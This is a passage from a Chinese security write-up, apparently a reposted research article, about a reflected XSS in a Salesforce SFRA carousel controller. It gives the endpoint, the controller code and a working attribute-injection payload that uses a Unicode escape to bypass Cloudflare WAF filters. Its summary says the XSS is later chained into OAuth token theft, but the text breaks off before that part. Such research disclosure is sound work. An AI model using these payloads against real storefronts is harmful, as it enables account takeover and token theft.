文章总结: 文档详述了在SalesforceSFRA控制器中发现反射型XSS并利用Unicode转义绕过CloudflareWAF的过程。针对OAuthSSO登录,作者创新性地利用WAF的阻断特性,通过植入恶意Cookie中断重定向流程,致使授权码保留在URL中,从而通过XSS成功窃取令牌实现账户接管。该研究展示了将安全防御机制转化为攻击工具的高级利用思路。 综合评分: 93 文章分类: WEB安全,漏洞分析,渗透测试,实战经验
利用WAF窃取Salesforce OAuth令牌
TtTeam
2026年3月2日 09:11 中国香港
以下文章来源于威胁情报Z分析 ,作者Z
威胁情报Z分析 .
国际网络安全威胁情报,地缘政治事件分析。
XSS 和 SFRA
Salesforce Commerce Cloud 提供成熟的安全基线,因此漏洞通常隐藏在商家自定义设置中,特别是自定义模板或组件中。在本例中,端点会根据请求参数提供的配置来渲染特定组件。
SFRA(店铺参考架构)控制器EinsteinCarousel-Load就是一个典型的例子。该控制器允许店铺动态加载轮播图部分的推荐产品,它需要两个参数:
limit – 表示轮播图中显示的最大推荐数量。
components – 一个 JSON 编码的组件配置对象数组,用于定义轮播图的渲染方式。
由于该components参数直接控制渲染输出,如果攻击者能够篡改它,它就可能成为一个注入点。通过查看我的 Caido 历史记录,我发现了一些使用此控制器的请求,其内容如下所示:
端点-GET /on/demandware.store/Sites-Redacted-Site/en/EinsteinCarousel-Load?components=参数components值:[{ "template":"product/productTileCarouselSlide", "mainColor":"#000001", "model":{ "type":"product", "id":"7919757" }}]
服务器将此内容渲染成如下 HTML:
<button data-border='1px solid #000001' data-background='#000001' class="w-btn w-quantity-btn w-increase-quantity-btn" @click="updateQuantity" :disabled="isMaxQtyReached || !isPriceAvailable || isMaxInventoryReached" aria-label="Increase">
通过调整键值,mainColor我们可以看到输入的内容以属性值的形式反映在渲染后的 HTML 中,位于一个标签内。我确认,通过将其更改为:button可以跳出属性上下文。
<button data-border='1px solid #000001' x=x y='' data-background='#000001' x=x y='' class="w-btn w-quantity-btn w-increase-quantity-btn" @click="updateQuantity" :disabled="isMaxQtyReached || !isPriceAvailable || isMaxInventoryReached" aria-label="Increase">
接下来,我们需要构建一个能够绕过属性上下文执行 JavaScript 的有效载荷。然而,我们被限制在标签内部,而 Cloudflare WAF 拦截了许多常见的攻击模式。这意味着我必须找到未被过滤且可以在现有标签内使用的特定属性。PortSwigger XSS 速查表button是获取此类有效载荷的绝佳资源。
经过一些测试,我发现这种方法oncontentvisibilityautostatechange可行,但仍然受到 WAF 过滤的限制。WAF 屏蔽了诸如 <string> 之类的关键字focus以及少数几个可用于此事件的模式的关键部分。然而,我通过使用Unicode转义(例如,<string> )style成功绕过了过滤器。之所以有效,是因为后端通过 <string> 处理输入,如控制器代码所示:
// app_storefront_base/cartridge/controllers/EinsteinCarousel.js:25 server.get('Load', function (req) { var newFactory = require('*/cartridge/scripts/factories/product'); var URLUtils = require('dw/web/URLUtils'); var components = (JSON.parse(req.querystring.components)); var limit = parseInt(req.querystring.limit, 10); var successfulrenderings = 0;// ...
基于此,我们可以发送以下有效载荷来实现 XSS 攻击:
[{ "template":"product/productTileCarouselSlide", "mainColor":"#000001' oncontentvisibilityautostatechange='confirm``' \u0073tyle='display:block;content-visibility:auto", "model":{ "type":"product", "id":"7919757" }}]
<button data-border='1px solid #000001' oncontentvisibilityautostatechange='confirm``' style='display:block;content-visibility:auto' data-background='#000001' oncontentvisibilityautostatechange='confirm``' style='display:block;content-visibility:auto' class="w-btn w-quantity-btn w-increase-quantity-btn" @click="updateQuantity" :disabled="isMaxQtyReached || !isPriceAvailable || isMaxInventoryReached" aria-label="Increase">
注意: oncontentvisibilityautostatechange仅在带有


评论